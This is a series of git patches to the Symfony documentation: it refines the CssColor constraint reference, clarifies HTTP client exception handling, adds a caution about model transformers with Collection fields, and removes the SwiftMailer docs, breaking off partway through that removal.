+Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
+
+keywords
+........
+
+Accordingly to the `CSS WG list of keywords`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``transparent``, ``currentColor``
+
+rgb
+...
+
+A regular expression. Allows all values which represent a CSS color following th RGB notation, with or without space between values.
+
+Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
+
+rgba
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha part following th RGB notation, with or without space between values.
+
+Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
+
+hsl
+...
+
+A regular expression. Allows all values which represent a CSS color following th HSL notation, with or without space between values.
+
+Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
+
+hsla
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha part following th HSLA notation, with or without space between values.
+
+Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`W3C list of basic named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Basic_Colors
+.. _`W3C list of extended named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Extended_colors
+.. _`CSS WG list of system colors`: https://drafts.csswg.org/css-color/#css-system-colors
+.. _`CSS WG list of keywords`: https://drafts.csswg.org/css-color/#transparent-color
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 020e84cde65..d6b974cefb3 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -27,6 +27,7 @@ String Constraints
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From c4fb582f7fa02eb54c9b57003660354a1e0d2559 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 8 Oct 2021 11:21:09 +0200
Subject: [PATCH 2565/7107] Clarify what error handling is for http-client

---
 http_client.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..0054f7c866e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -965,8 +965,9 @@ responses in an array::
 This behavior provided at destruction-time is part of the fail-safe design of the
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
-the error-handling code, you will opt-out from these fallback mechanisms as the
-destructor won't have anything remaining to do.
+the error-handling code (by calling ``$response->getStatusCode()``), you will
+opt-out from these fallback mechanisms as the destructor won't have anything 
+remaining to do.
 
 There are three types of exceptions:
 

From 9f7631bc4d118c1f9424bced3872452e6c8eea23 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 8 Oct 2021 11:31:30 +0200
Subject: [PATCH 2566/7107] Clarify which is the top level exception for http
 client if you want to catch everything

---
 http_client.rst | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..edd68beddb7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -924,10 +924,22 @@ In case the response was canceled using ``$response->cancel()``,
 Handling Exceptions
 ~~~~~~~~~~~~~~~~~~~
 
+There are three types of exceptions, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\ExceptionInterface`:
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
+  are thrown when your code does not handle the status codes in the 300-599 range.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+  are thrown when a lower level issue occurs.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
+  are thrown when a content-type cannot be decoded to the expected representation.
+
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
 4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of
-which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, which will
+implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
 
     // the response of this request will be a 403 HTTP error
     $response = $client->request('GET', 'https://httpbin.org/status/403');
@@ -968,17 +980,6 @@ errors, exceptions will notify you when needed. On the other hand, if you write
 the error-handling code, you will opt-out from these fallback mechanisms as the
 destructor won't have anything remaining to do.
 
-There are three types of exceptions:
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
-  are thrown when your code does not handle the status codes in the 300-599 range.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
-  are thrown when a lower level issue occurs.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
-  are thrown when a content-type cannot be decoded to the expected representation.
-
 Concurrent Requests
 -------------------
 

From 07e38b778d5e6f896b0f20865e39ecefc5e645b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 13:06:51 +0200
Subject: [PATCH 2567/7107] [Validator] Some tweaks to CssColor constraint

---
 reference/constraints/CssColor.rst | 134 +++++++++++++++++++----------
 1 file changed, 89 insertions(+), 45 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 894325cb2e4..eb04df19b4c 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,6 +1,10 @@
 CssColor
 =========
 
+.. versionadded:: 5.4
+
+    The ``CssColor`` constraint was introduced in Symfony 5.4.
+
 Validates that a value is a valid CSS color. The underlying value is
 casted to a string before being validated.
 
@@ -17,6 +21,12 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidato
 Basic Usage
 -----------
 
+In the following example, the ``$defaultColor`` value must be a CSS color
+defined in any of the valid CSS formats (e.g. ``red``, ``#369``,
+``hsla(0, 0%, 20%, 0.4)``); the ``$accentColor`` must be a CSS color defined in
+hexadecimal format; and ``$currentColor`` must be a CSS color defined as any of
+the named CSS colors:
+
 .. configuration-block::
 
     .. code-block:: php-annotations
@@ -28,18 +38,26 @@ Basic Usage
 
         class Bulb
         {
+            /**
+             * @Assert\CssColor
+             */
+            protected $defaultColor;
+
             /**
              * @Assert\CssColor(
-             *     formats = { Assert\CssColor::HEX_LONG }
-             *     message = "The color '{{ value }}' is not a valid CSS color."
+             *     formats = Assert\CssColor::HEX_LONG,
+             *     message = "The accent color must be a 6-character hexadecimal color."
              * )
              */
-            protected $defaultColor;
+            protected $accentColor;
 
             /**
              * @Assert\CssColor(
-             *     formats = Assert\CssColor::BASIC_NAMED_COLORS
-             *     message = "The color '{{ value }}' is not a valid CSS color."
+             *     formats = {
+             *         Assert\CssColor::BASIC_NAMED_COLORS,
+             *         Assert\CssColor::EXTENDED_NAMED_COLORS
+             *     },
+             *     message = "The color '{{ value }}' is not a valid CSS color name."
              * )
              */
             protected $currentColor;
@@ -54,15 +72,18 @@ Basic Usage
 
         class Bulb
         {
+            #[Assert\CssColor]
+            protected $defaultColor;
+
             #[Assert\CssColor(
-                formats: [Assert\CssColor::HEX_LONG]
-                message: 'The color '{{ value }}' is not a valid CSS color.',
+                formats: Assert\CssColor::HEX_LONG,
+                message: 'The accent color must be a 6-character hexadecimal color.',
             )]
-            protected $defaultColor;
+            protected $accentColor;
 
             #[Assert\CssColor(
-                formats: Assert\CssColor::BASIC_NAMED_COLORS
-                message: 'The color '{{ value }}' is not a valid CSS color.',
+                formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                message: 'The color '{{ value }}' is not a valid CSS color name.',
             )]
             protected $currentColor;
         }
@@ -73,13 +94,17 @@ Basic Usage
         App\Entity\Bulb:
             properties:
                 defaultColor:
+                    - CssColor: ~
+                accentColor:
                     - CssColor:
-                        formats: [ !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG ]
-                        message: The color "{{ value }}" is not a valid CSS color.
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG
+                        message: The accent color must be a 6-character hexadecimal color.
                 currentColor:
                     - CssColor:
-                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
-                        message: The color "{{ value }}" is not a valid CSS color.
+                        formats:
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::EXTENDED_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color name.
 
     .. code-block:: xml
 
@@ -90,18 +115,22 @@ Basic Usage
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Bulb">
-                <property name="currentColor">
+                <property name="defaultColor">
+                    <constraint name="CssColor"/>
+                </property>
+                <property name="accentColor">
                     <constraint name="CssColor">
-                        <option name="formats">
-                            <value>hex_long</value>
-                        </option>
-                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                        <option name="formats">hex_long</option>
+                        <option name="message">The accent color must be a 6-character hexadecimal color.</option>
                     </constraint>
                 </property>
-                <property name="defaultColor">
+                <property name="currentColor">
                     <constraint name="CssColor">
-                        <option name="formats">basic_named_colors</option>
-                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                        <option name="formats">
+                            <value>basic_named_colors</value>
+                            <value>extended_named_colors</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color name.</option>
                     </constraint>
                 </property>
             </class>
@@ -119,14 +148,16 @@ Basic Usage
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor([
-                    'formats' => [Assert\CssColor::HEX_LONG],
-                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
+
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::HEX_LONG,
+                    'message' => 'The accent color must be a 6-character hexadecimal color.',
                 ]));
 
                 $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
-                    'formats' => Assert\CssColor::BASIC_NAMED_COLORS,
-                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
                 ]));
             }
         }
@@ -158,8 +189,10 @@ formats
 
 **type**: ``string`` | ``array``
 
-This option is optional and defines the pattern the CSS color is validated against.
-Valid values are:
+By default, this constraint considers valid any of the many ways of defining
+CSS colors. Use the ``formats`` option to restrict which CSS formats are allowed.
+These are the available formats (which are also defined as PHP constants; e.g.
+``Assert\CssColor::HEX_LONG``):
 
 * ``hex_long``
 * ``hex_long_with_alpha``
@@ -177,88 +210,99 @@ Valid values are:
 hex_long
 ........
 
-A regular expression. Allows all values which represent a CSS color
-of 6 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color of 6
+characters (in addition of the leading ``#``) and contained in ranges: ``0`` to
+``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#2F2F2F``, ``#2f2f2f``
 
 hex_long_with_alpha
 ...................
 
-A regular expression. Allows all values which represent a CSS color with alpha part
-of 8 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color with alpha
+part of 8 characters (in addition of the leading ``#``) and contained in
+ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#2F2F2F80``, ``#2f2f2f80``
 
 hex_short
 .........
 
-A regular expression. Allows all values which represent a CSS color
-of strictly 3 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color of strictly
+3 characters (in addition of the leading ``#``) and contained in ranges: ``0``
+to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#CCC``, ``#ccc``
 
 hex_short_with_alpha
 ....................
 
-A regular expression. Allows all values which represent a CSS color with alpha part
-of strictly 4 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color with alpha
+part of strictly 4 characters (in addition of the leading ``#``) and contained
+in ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#CCC8``, ``#ccc8``
 
 basic_named_colors
 ..................
 
-Accordingly to the `W3C list of basic named colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `W3C list of basic named colors`_
+(case insensitive).
 
 Examples: ``black``, ``red``, ``green``
 
 extended_named_colors
 .....................
 
-Accordingly to the `W3C list of extended named colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `W3C list of extended named colors`_
+(case insensitive).
 
 Examples: ``aqua``, ``brown``, ``chocolate``
 
 system_colors
 .............
 
-Accordingly to the `CSS WG list of system colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `CSS WG list of system colors`_
+(case insensitive).
 
 Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
 
 keywords
 ........
 
-Accordingly to the `CSS WG list of keywords`_, it allows to use colors by their names (case insensitive).
+Any of the valid keywords defined in the `CSS WG list of keywords`_ (case insensitive).
 
 Examples: ``transparent``, ``currentColor``
 
 rgb
 ...
 
-A regular expression. Allows all values which represent a CSS color following th RGB notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color following
+the RGB notation, with or without space between values.
 
 Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
 
 rgba
 ....
 
-A regular expression. Allows all values which represent a CSS color with alpha part following th RGB notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the RGB notation, with or without space between values.
 
 Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
 
 hsl
 ...
 
-A regular expression. Allows all values which represent a CSS color following th HSL notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color following
+the HSL notation, with or without space between values.
 
 Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
 
 hsla
 ....
 
-A regular expression. Allows all values which represent a CSS color with alpha part following th HSLA notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the HSLA notation, with or without space between values.
 
 Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
 

From 6a0f45cfb5c82f260178f80f9c43180dc8d866ec Mon Sep 17 00:00:00 2001
From: Cellophile <70097501+Cellophile@users.noreply.github.com>
Date: Wed, 6 Oct 2021 01:09:36 +0200
Subject: [PATCH 2568/7107] correction on a command to work

---
 doctrine/reverse_engineering.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 320e424ea0a..bd5d1402198 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -103,7 +103,7 @@ run:
     $ php bin/console make:entity --regenerate App
 
     // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate App\\Entity\\Country
+    $ php bin/console make:entity --regenerate App\Entity\Country
 
 .. note::
 

From 0feac63ce10524dc730169c827300a9ee68cf1b9 Mon Sep 17 00:00:00 2001
From: Gregor Nathanael Meyer <Gregor@der-meyer.de>
Date: Tue, 7 Sep 2021 09:33:31 +0200
Subject: [PATCH 2569/7107] Inserted a warning about a limitation model
 transformers

There is a surprising limitation of model transformers, that cannot filter out items for a Collection field type. Took me a whole day to find out, so here is a warning about that. See https://github.com/symfony/symfony/issues/36469 for details. (Maybe that issue should be linked for further details?).
---
 form/data_transformers.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index c21976dadce..08479ff16a5 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -482,6 +482,21 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
+.. caution::
+
+    Be careful with model transformers and
+    :doc:`Collection </reference/forms/types/collection>` field types: As the
+    Collection's children are created early at `PRE_SET_DATA` by its
+    `ResizeFormListener`, their data is populated later from the Norm Data. So
+    your model transformer cannot reduce the number of items within the
+    Collection (i.e. filtering out some items), as in that case the collection
+    ends up with some empty children.
+    
+    A possible workaround for that limitation could be not using the underlying
+    object directly, but a DTO (Data Transfer Object) instead, that implements
+    the transformation of such incompatible data structures.
+    
+
 So why Use the Model Transformer?
 ---------------------------------
 

From ab5150948efa64b8a03251f0e342f524f355a95c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 15:52:06 +0200
Subject: [PATCH 2570/7107] Minor tweak

---
 form/data_transformers.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 08479ff16a5..685369a8239 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -485,17 +485,16 @@ To use the view transformer, call ``addViewTransformer()``.
 .. caution::
 
     Be careful with model transformers and
-    :doc:`Collection </reference/forms/types/collection>` field types: As the
-    Collection's children are created early at `PRE_SET_DATA` by its
-    `ResizeFormListener`, their data is populated later from the Norm Data. So
-    your model transformer cannot reduce the number of items within the
+    :doc:`Collection </reference/forms/types/collection>` field types.
+    Collection's children are created early at ``PRE_SET_DATA`` by its
+    ``ResizeFormListener`` and their data is populated later from the normalized
+    data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
     
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
-    
 
 So why Use the Model Transformer?
 ---------------------------------

From 5c87228bc919fa3233d168ac44a83bf580cb3962 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 16:31:29 +0200
Subject: [PATCH 2571/7107] Remove SwiftMailer contents

---
 bundles.rst                             |   1 -
 email.rst                               | 666 +-----------------------
 reference/configuration/swiftmailer.rst | 359 +------------
 reference/dic_tags.rst                  |  23 -
 4 files changed, 8 insertions(+), 1041 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index bf5a144d4ce..ed194614c34 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -28,7 +28,6 @@ file::
         Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
         Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
diff --git a/email.rst b/email.rst
index 37bcf3722cf..a4636adab78 100644
--- a/email.rst
+++ b/email.rst
@@ -6,666 +6,8 @@ Swift Mailer
 
 .. caution::
 
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
-    be used instead of Swift Mailer as it won't be maintained anymore as of November
-    2021.
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
-.. caution::
-
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
